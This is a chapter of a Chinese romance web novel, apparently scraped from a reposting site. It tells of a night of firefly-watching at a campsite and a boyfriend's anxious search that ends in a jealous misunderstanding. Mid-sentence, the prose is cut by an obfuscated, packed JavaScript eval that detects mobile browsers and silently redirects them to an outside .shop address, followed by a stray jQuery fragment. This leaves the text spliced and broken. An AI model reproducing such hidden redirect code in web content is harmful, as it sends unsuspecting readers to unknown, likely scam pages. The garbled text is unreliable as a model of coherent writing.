文趣网 > 其他小说 > 你也没有人要吗? > 39. 假戏成真真亦假
    陈醉跟在徐思雅身后,往白天去过的那条溪涧走,在看到一条岔路时徐思雅猫着腰扭头就拐了进去,在陈醉想出声喊她时一把拉住陈醉的手腕蒙住了她的眼睛,小声道:“别喊,别惊扰了它们。”

    陈醉咽了下口水,不明白徐思雅的目的,大晚上的心底有点害怕,跟着徐思雅小走两步,听到她耳边说:“快看!”。

    睁开眼一看,满天萤火虫在林间草丛溪涧飘飞,自由蹁跹飞舞似繁星点点,天上是流萤闪烁,水面是点点微光,星河层层叠叠地环绕着二人,林间有蛙鸣蝉叫,陈醉一瞬仿佛置身于梦境之中。

    陈醉不自觉地向前走了两步,偶有一两只萤火虫停留在她的肩头指尖好奇地停留,像是对误入仙境的人友善的问好,陈醉用指腹轻轻触碰了下萤火虫的翅膀,受惊的萤火虫扑闪着尾灯飞向了他方。

    “你怎么知道这里有萤火虫?!”陈醉捂着嘴压低声音,生怕惊扰这些可爱的小生灵,但语气又是止不住的惊喜。

    徐思雅耸耸肩:“我只是在网上刷到了,下午来这边瞄了一眼,其实也没想过真的会有,没想到我们的运气不错!”

    “太漂亮了!真的太漂亮了!”陈醉沉醉在景色中不停嘟囔着,想到此时正在加班从小在城里长大的司礼肯定和她一样没见过这种场景,马上就掏出手机想要和他分享。

    刚打开拍照功能,手机就因为没电自动关机了,陈醉直接问徐思雅借手机一用,让她等会把照片和视频发给自己。

    这么美的景色必须好好跟司礼分享一下,下次等他回来再带他这亲眼看!

    徐思雅偏头看着陈醉沉浸式欣赏美景无法自拔,于是开口邀请道:“今晚要不要在这住一晚?”

    “在这?”陈醉惊讶回头,她原以为只是下午在这玩一玩就回去,没想到徐思雅竟然想在这住。

    “对啊,洗面奶护肤品卸妆油我都带了呢,旁边就是厕所,等会用一次性毛巾擦拭一下就好,本来今天就是想好好欣赏下美景嘛~”

    陈醉虽说没有太大的洁癖,但已经入伏的天晚上不洗澡,她属实是有点受不了,顶多再配徐思雅玩一会儿,她还是想回去洗个热水澡躺在床上美美耍手机。

    见陈醉出声想要拒绝,徐思雅直接扑过去一个熊抱撒娇:“求求你,陪我一下嘛~或者晚点回去,拜托拜托~”

    陈醉纠结再三表明道:“那我最多再陪你玩一下我就要回去哦……到时候你要跟我一起回去!我不放心你一个女孩子住在山里。”

    徐思雅点点头,伸出三指发誓再玩会儿就回去,一定不食言。见陈醉同意了,抱着陈醉的胳膊继续欣赏景色。

    “你真的不考虑在这住一晚吗?网上说这的日出也很美!”徐思雅拿出手机里存的日出图给陈醉看,陈醉看了一眼觉得确实很美,可她还是想回去。

    每天晚上不管多忙,司礼都会抽时间跟她视频一下,他今天都没怎么跟她聊天,她想回去听听他的声音,看看他过得好不好。

    徐思雅看穿了陈醉真正的目的,也没继续说话,只抱着她的手臂,两人站在山林溪涧,听着蝉鸣鸟叫,看着繁星点点,好不惬意。

    在陈醉欣赏美景的时候,司礼熬了几个大夜总算把事情完成了一些,开完会的一瞬间迅速指使徐霖开车送他去机场。

    “要我说你也真是能折腾,现在飞过去最多也就能呆三个小时,恋爱中的男人真可怕!”徐霖一边开车一边吐槽,瞟了眼副驾驶闭眼休憩的司礼眼下一片青黑,默默把音乐声关小。

    现在只是分隔一段时间,若是真在一起了,一个在B市一个在N市横跨一千多公里的距离,如何坚持如何妥协也是一个很大的问题。

    但徐霖没有提点过,都是成年人,有能够平衡和解决问题的能力,最关键是徐霖觉得他要是真跟司礼说了这个问题,搞不好以司礼恋爱脑的程度头脑一热就要举家搬到N市,他才不搬起石头砸自己的脚。

    现在不就是费点司礼嘛,兄弟正值壮年,能熬!

    他才不要和亲亲老婆分开呢!

    下了飞机,司礼开机看了下时间,已经快十一点了,先给陈醉发了条消息等了一会儿发现没回复,又打了个电话过去显示无人接听。

    听着电话里的播报声,司礼直接在机场拦了辆的士去陈醉公司,路过还未打烊的花店特意让司机师傅靠边停一下,自己挑了束鸢尾花。

    拎着给陈醉带的点心和周边,将鸢尾花小心的护在怀里,司机师傅一看就笑着调侃道:“买给女朋友的?”

    “对!买给女朋友的!”司礼用指尖轻触了下花瓣,想象等会陈醉看到时的模样,忍不住嘴角上翘。

    司礼是在司机师傅的“百年好合”声下车的,对着门口的修身镜理了理衣服,整理下疲容,司礼按下电梯。

    一出电梯,司礼的笑容就掉了下来——陈醉没在公司。

    司礼突然想起来下午她说过要跟朋友去露营,许是现在在家里洗澡,想到这司礼又去旁边的高档水果店买了几个礼盒,整个人像是圣诞树一般挂满了东西。

    打车到了陈醉家楼下,司礼扣响陈醉家的门。

    何珉看到司礼大包小包出现在家门口的时候很是惊讶,连忙打开门拉人进来。

    “最最在洗澡吗?”司礼把东西摆在餐桌上伸头张望。

    何珉连忙给司礼倒了杯水回着:“没啊,不知道去哪玩了,现在还没回来呢!”

    “还没回来?”司礼喝水的手一顿。

    何珉点点头,说:“说是最近认识了个新朋友,约的一起出去玩……”看司礼皱着眉的模样,忽然意识到自己好像话多了,试探着:“你不知道?”

    司礼喝完杯中的水放到桌上,笑着回:“知道,我就是没想到她现在还没回来……没事,我等会去接她。”

    笑着婉拒了何珉的送客,司礼下了楼。站在楼下看着陈醉房间的窗口,司礼心里忽然升起一阵不好的预感。

    片刻后甩了甩脑袋,只觉得自己是多想。

    站在楼下,接连给陈醉打了好几个电话都没接,司礼心里唾骂起了自己,早知道就不装大度了,应该问清楚陈醉和谁去玩,到哪去玩的,不然现在想找人都找不到。

    想到这,司礼上网搜了下露营地点,又翻出下午陈醉给自己发的照片,多方对比下确认了地址。

    盘算了下时间,司礼立即打车前往,同时在车上继续给陈醉打电话和留言。

    陈醉看了会儿景色后,想到手机没电司礼联系不上她会着急,催促着徐思雅感觉回帐篷里拿充电宝,徐思雅肩膀碰了下陈醉眨着眼笑道:“怕他找不到你吗?”

    见陈醉点着头脸红的承认,徐思雅撩了下头发看着陈醉笑了一下,转身便带着她走回帐篷。

    这期间徐思雅抱臂一言不发,回

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752600|204677||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到帐篷,陈醉迅速翻出充电宝插上开机,一打开手机,就看到司礼打了十几个电话,发了几十条消息,陈醉立刻发消息确定自己平安。

    徐思雅站在帐篷外看着焦急的陈醉,意识有些偏远,在她的记忆里,司礼虽然是个幽默风趣的人,但对旁人也只是礼貌的点到为止,但对陈醉却时刻关心,有说不完的话题。

    心里像是堵了一块巨石,即无法视而不见的吞咽进胃,也无法站在一旁窥探他人幸福。

    徐思雅觉得自己很矛盾。

    帐篷里的陈醉看消息转了半天才发出去,想着找个信号好的地方给司礼回个电话报平安,跟徐思雅说了声“我去给司礼报平安,等会回来跟你一起收拾!”便拿着手机跑了出去。

    接到陈醉消息的一瞬间,司礼直接打了个电话过去追问确认她的平安。

    “你说什么?我……听……不……见!”陈醉举起手机满山喊着找信号。

    司礼听到风声、溪流声和陈醉断断续续的电波声,就是话语声一句都没听清,司礼急声询问陈醉在哪。

    踮起脚好不容易收到一点信号,陈醉对着话筒大喊:“我在梅山这!司礼,我在梅山上,这里没信号!”

    听到梅山确定了自己的判断,司礼刚想开口让她在原地等他马上就到,忽然听到电话那头陈醉尖叫一声,电话挂了。

    司礼再打过去就显示关机状态,脸色一下就苍白的毫无血色,整个人像是丢了魂一样,对着司机大吼让他加速,司机听到声响从后视镜里看到双眼发直如同鬼魅的司礼,默不作声的将车速提高。

    陈醉从坡上摔了下去,忍着痛第一时间去找手机,不管怎么按开机键都开不了,陈醉着急的带着哭腔不停地尝试开机。

    “对不起,我是不是吓到你了啊?”下午递水果的斯文男人连忙蹲下身弯腰想要扶起陈醉。

    陈醉甩开他的手带着哭腔冲着他喊:“你有病是不是!明知道在打电话,你还从背后吓我,你这人就是纯有病!”

    在漆黑的树林里陈醉开始后怕,摸着肿的像馒头的脚踝痛哭,斯文男人见陈醉哭的上气不接下气有点束手无策,只好提出背着她回帐篷。

    陈醉环顾了下四周,没办法只能让他先背她回去。趴在斯文男人的背上,陈醉依旧在抽泣着,斯文男人觉得好笑开口道:“我不是故意要吓你的,我是想跟你说别往那走,有条暗流,黑灯瞎火的要是掉下去很危险。”

    见陈醉不说话,斯文男人自我介绍着:“我叫丁靖轩,你叫什么?”

    “好好走路,别说话!”陈醉烦的要死,只想清静一下。

    “哦”斯文男人做了个左嘴角划至右嘴角的动作,表示自己禁言不会开口。两人沉默的往帐篷处走去。

    刚出树林,陈醉就看到以往最是光鲜亮丽的司礼满头大汗,牛仔裤上大片的泥巴杂草粘在上面,暗色印花真丝衬衫上被枝丫挂出了好几个大口子,他就站在那定定地瞧着那个男人和他背上的陈醉。

    他一路提心吊胆地跑过来,想过陈醉可能迷路了,手机没电了,或者丢了,但没想到她会趴在一个陌生男人的背上耳鬓厮磨。

    那画面像针扎在他的视网膜,痛的他目眦欲裂,指甲扎在肉里刻在掌心处一道道裂痕。

    陈醉感觉到此时的司礼像是一团隐藏在灰烬中隐隐燃烧的火星,只需要一阵风的契机就能将一切燃烧殆尽。